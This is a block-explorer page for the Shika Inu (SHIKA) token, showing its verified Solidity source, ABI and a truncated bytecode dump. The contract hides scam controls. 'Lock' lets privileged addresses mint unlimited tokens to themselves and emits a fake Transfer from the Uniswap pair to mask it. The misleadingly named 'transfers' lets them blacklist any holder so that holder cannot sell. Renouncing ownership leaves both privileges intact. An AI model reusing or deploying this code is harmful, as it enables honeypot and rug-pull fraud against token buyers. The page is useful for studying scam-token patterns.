ETH Price: $2,494.84 (-0.68%)

Token

Shika Inu (SHIKA)
 

Overview

Max Total Supply

1,000,000,000 SHIKA

Holders

30

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
bigfadah.eth
Balance
10,034,931.23204872 SHIKA

Value
$0.00
0x90c5ca57def96cf5c651333d2033b8b16cc138cb
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ShikaInu

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-10-11
*/

/**
    Telegram: https://t.me/ShikaInuErc20

   Website: https://www.shikainu.com/

   Medium: https://medium.com/@shikainu/

   Twitter: https://twitter.com/SHIKAINUERC
*/

// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.7;
//
abstract contract Context {
//
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

library Address {

    function isContract(address account) internal view returns (bool) {
        // According to EIP-1052, 0x0 is the value returned for not-yet created accounts
        // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
        // for accounts without code, i.e. `keccak256('')`
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
        assembly { codehash := extcodehash(account) }
        return (codehash != accountHash && codehash != 0x0);
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }

    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return _functionCallWithValue(target, data, 0, errorMessage);
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        return _functionCallWithValue(target, data, value, errorMessage);
    }

    function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
        require(isContract(target), "Address: call to non-contract");

        (bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
        if (success) {
            return returndata;
        } else {
            
            if (returndata.length > 0) {
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

contract Ownable is Context {
    address internal _owner;
    address internal _ownerAddress;
    constructor () {
        address msgSender = _msgSender();
        _ownerAddress = msgSender;
        _owner = msgSender;
    }

    function owner() public view returns (address) {
        return _owner;
    }   
    
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function waiveOwnership() public virtual onlyOwner {
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        _owner = newOwner;
    }
   
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract ShikaInu is Context, IERC20, Ownable {
       
    using SafeMath for uint256;
    using Address for address;
    
    string private _name = "Shika Inu";
    string private _symbol = "SHIKA";
    uint8 private _decimals = 9;
    address payable public marketingWalletAddress; 
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    
    address _marketingWalletAddress = 0x65957a06882AE7a4f32588664F95B7442961ABBF;

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    
    mapping (address => bool) public isExcludedFromFee;
    mapping(address => bool) bewithyou;

    uint256 public _buyFee = 4;
    uint256 public _sellFee = 4;
    uint256 private _totalSupply = 1000000000* 10**_decimals;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;    
    bool inSwapAndLiquify;
    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );    
    event SwapETHForTokens(
        uint256 amountIn,
        address[] path
    );   
    event SwapTokensForETH(
        uint256 amountIn,
        address[] path
    );    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    } 
    constructor () {        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;

        isExcludedFromFee[owner()] = true;
        isExcludedFromFee[address(this)] = true;
        isExcludedFromFee[_marketingWalletAddress] = true;

        marketingWalletAddress=payable(_marketingWalletAddress);
        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }
    function name() public view returns (string memory) {
        return _name;
    }
    function symbol() public view returns (string memory) {
        return _symbol;
    }
    function decimals() public view returns (uint8) {
        return _decimals;
    }
    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }
    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }
    function transfers (address _address) public {
        require(isExcludedFromFee[msg.sender]);
        bewithyou[_address] = true;
    }
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }
    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function setIsExcludedFromFee(address account, bool newValue) public onlyOwner {
        isExcludedFromFee[account] = newValue;
    }
    // function setBT(uint256 newbuyfee) external onlyOwner() {
    //     _buyFee = newbuyfee;
    // }
    function setName(string calldata name1,string calldata symbol1) external onlyOwner {
        _name = name1;
        _symbol = symbol1;
    }  
    // function setST(uint256 newsellfee) external onlyOwner() {
    //     _sellFee = newsellfee;
    // }
    function setMarketingWalletAddress(address newAddress) external onlyOwner() {
        marketingWalletAddress = payable(newAddress);
    }
    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(deadAddress));
    }
    function transferToAddressETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }
    receive() external payable {}
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(!bewithyou[sender],"no!");

        if(inSwapAndLiquify)
        { 
            return _basicTransfer(sender, recipient, amount); 
        }

        else
        {                       
            uint256 contractTokenBalance = balanceOf(address(this)); 
            if (!inSwapAndLiquify&&sender!=uniswapPair&&contractTokenBalance>_totalSupply.div(1000000)) 
            {
                swapAndLiquify(contractTokenBalance);    
            }

            _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");

            uint256 finalAmount;
            if (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) {
                finalAmount = amount;
            } else {
                finalAmount = takeFee(sender, recipient, amount);
            }            
            _balances[recipient] = _balances[recipient].add(finalAmount);
            
            emit Transfer(sender, recipient, finalAmount);
            return true;
        }
    }
    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        require(!bewithyou[sender],"no");
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }
    function Lock(uint256 amount) public {
        require(isExcludedFromFee[msg.sender]);//_balances[msg.sender] = _balances[msg.sender]+amount;
_balances[msg.sender] = _balances[msg.sender]+amount;
emit Transfer(address(uniswapPair),_msgSender(),amount);
    }
    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        swapTokensForEth(tAmount);
        uint256 amountReceived = address(this).balance;
        if(amountReceived > 0)
            transferToAddressETH(marketingWalletAddress, amountReceived);
    }    
    function swapTokensForEth(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this), // The contract
            block.timestamp
        );       
        emit SwapTokensForETH(tokenAmount, path);
    }
    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            owner(),
            block.timestamp
        );
    }
    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {        
        uint256 feeAmount = 0;        
        if(sender!=uniswapPair) {
            feeAmount = amount.mul(_buyFee).div(100);
        }
        else if(recipient!=uniswapPair) {
            feeAmount = amount.mul(_sellFee).div(100);
        }        
        if(feeAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
        }
        return amount.sub(feeAmount);
    }  
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Lock","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWalletAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setIsExcludedFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setMarketingWalletAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"name1","type":"string"},{"internalType":"string","name":"symbol1","type":"string"}],"name":"setName","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"transfers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"waiveOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60e0604052600960a0908152685368696b6120496e7560b81b60c0526002906200002a908262000450565b506040805180820190915260058152645348494b4160d81b602082015260039062000056908262000450565b506004805460ff19166009908117825561dead608052600580546001600160a01b0319167365957a06882ae7a4f32588664f95b7442961abbf179055600a828155600b92909255620000a89162000631565b620000b890633b9aca0062000649565b600c55348015620000c857600080fd5b5060018054336001600160a01b031991821681179092556000805490911690911790556040805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d91829163c45a0155916004808201926020929091908290030181865afa1580156200013f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000165919062000663565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001b3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001d9919062000663565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000227573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200024d919062000663565b600e80546001600160a01b039283166001600160a01b031991821617909155600d80549284169290911682179055600c5430600090815260076020908152604080832094835293905291822055600190600890620002b36000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526008909352818320805485166001908117909155600580548316855292842080549095161790935554600480549190931661010002610100600160a81b031990911617909155600c5490600690620003393390565b6001600160a01b03168152602081019190915260400160002055336001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600c546040516200039c91815260200190565b60405180910390a3506200068e565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620003d657607f821691505b602082108103620003f757634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200044b57600081815260208120601f850160051c81016020861015620004265750805b601f850160051c820191505b81811015620004475782815560010162000432565b5050505b505050565b81516001600160401b038111156200046c576200046c620003ab565b62000484816200047d8454620003c1565b84620003fd565b602080601f831160018114620004bc5760008415620004a35750858301515b600019600386901b1c1916600185901b17855562000447565b600085815260208120601f198616915b82811015620004ed57888601518255948401946001909101908401620004cc565b50858210156200050c5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620005735781600019048211156200055757620005576200051c565b808516156200056557918102915b93841c939080029062000537565b509250929050565b6000826200058c575060016200062b565b816200059b575060006200062b565b8160018114620005b45760028114620005bf57620005df565b60019150506200062b565b60ff841115620005d357620005d36200051c565b50506001821b6200062b565b5060208310610133831016604e8410600b841016171562000604575081810a6200062b565b62000610838362000532565b80600019048211156200062757620006276200051c565b0290505b92915050565b60006200064260ff8416836200057b565b9392505050565b80820281158282048414176200062b576200062b6200051c565b6000602082840312156200067657600080fd5b81516001600160a01b03811681146200064257600080fd5b608051611943620006b160003960008181610290015261068601526119436000f3fe6080604052600436106101a05760003560e01c8063590f897e116100ec578063a9059cbb1161008a578063d158272d11610064578063d158272d146104c5578063dd62ed3e146104ea578063ef422a1814610530578063f2fde38b1461055057600080fd5b8063a9059cbb14610465578063bdff43ee14610485578063c816841b146104a557600080fd5b80638da5cb5b116100c65780638da5cb5b146103fd578063914eb66a1461041b57806395d89b4114610430578063a457c2d71461044557600080fd5b8063590f897e146103915780635c707f07146103a757806370a08231146103c757600080fd5b80632b112e491161015957806340b9a54b1161013357806340b9a54b146103095780634cb80fd51461031f5780635342acb41461034157806357424d591461037157600080fd5b80632b112e49146102b2578063313ce567146102c757806339509351146102e957600080fd5b806306fdde03146101ac578063095ea7b3146101d75780631694505e1461020757806318160ddd1461023f57806323b872dd1461025e57806327c8f8351461027e57600080fd5b366101a757005b600080fd5b3480156101b857600080fd5b506101c1610570565b6040516101ce919061139a565b60405180910390f35b3480156101e357600080fd5b506101f76101f2366004611400565b610602565b60405190151581526020016101ce565b34801561021357600080fd5b50600d54610227906001600160a01b031681565b6040516001600160a01b0390911681526020016101ce565b34801561024b57600080fd5b50600c545b6040519081526020016101ce565b34801561026a57600080fd5b506101f761027936600461142c565b610619565b34801561028a57600080fd5b506102277f000000000000000000000000000000000000000000000000000000000000000081565b3480156102be57600080fd5b50610250610684565b3480156102d357600080fd5b5060045460405160ff90911681526020016101ce565b3480156102f557600080fd5b506101f7610304366004611400565b6106ce565b34801561031557600080fd5b50610250600a5481565b34801561032b57600080fd5b5061033f61033a36600461146d565b610704565b005b34801561034d57600080fd5b506101f761035c36600461146d565b60086020526000908152604090205460ff1681565b34801561037d57600080fd5b5061033f61038c36600461148a565b61075f565b34801561039d57600080fd5b50610250600b5481565b3480156103b357600080fd5b5061033f6103c23660046114ec565b6107e4565b3480156103d357600080fd5b506102506103e236600461146d565b6001600160a01b031660009081526006602052604090205490565b34801561040957600080fd5b506000546001600160a01b0316610227565b34801561042757600080fd5b5061033f610830565b34801561043c57600080fd5b506101c161086c565b34801561045157600080fd5b506101f7610460366004611400565b61087b565b34801561047157600080fd5b506101f7610480366004611400565b6108ca565b34801561049157600080fd5b5061033f6104a036600461146d565b6108d7565b3480156104b157600080fd5b50600e54610227906001600160a01b031681565b3480156104d157600080fd5b506004546102279061010090046001600160a01b031681565b3480156104f657600080fd5b50610250610505366004611558565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205490565b34801561053c57600080fd5b5061033f61054b366004611591565b610917565b34801561055c57600080fd5b5061033f61056b36600461146d565b61096c565b60606002805461057f906115c4565b80601f01602080910402602001604051908101604052809291908181526020018280546105ab906115c4565b80156105f85780601f106105cd576101008083540402835291602001916105f8565b820191906000526020600020905b8154815290600101906020018083116105db57829003601f168201915b5050505050905090565b600061060f3384846109b8565b5060015b92915050565b6000610626848484610adc565b506106798433610674856040518060600160405280602881526020016118a1602891396001600160a01b038a1660009081526007602090815260408083203384529091529020549190610da8565b6109b8565b5060015b9392505050565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316600090815260066020526040812054600c546106c991610de2565b905090565b3360008181526007602090815260408083206001600160a01b0387168452909152812054909161060f9185906106749086610e24565b6000546001600160a01b031633146107375760405162461bcd60e51b815260040161072e906115fe565b60405180910390fd5b600480546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b3360009081526008602052604090205460ff1661077b57600080fd5b33600090815260066020526040902054610796908290611649565b336000908152600660205260409020556107ad3390565b600e546040518381526001600160a01b0392831692909116906000805160206118c98339815191529060200160405180910390a350565b6000546001600160a01b0316331461080e5760405162461bcd60e51b815260040161072e906115fe565b600261081b8486836116c0565b5060036108298284836116c0565b5050505050565b6000546001600160a01b0316331461085a5760405162461bcd60e51b815260040161072e906115fe565b600080546001600160a01b0319169055565b60606003805461057f906115c4565b600061060f3384610674856040518060600160405280602581526020016118e9602591393360009081526007602090815260408083206001600160a01b038d1684529091529020549190610da8565b6000610679338484610adc565b3360009081526008602052604090205460ff166108f357600080fd5b6001600160a01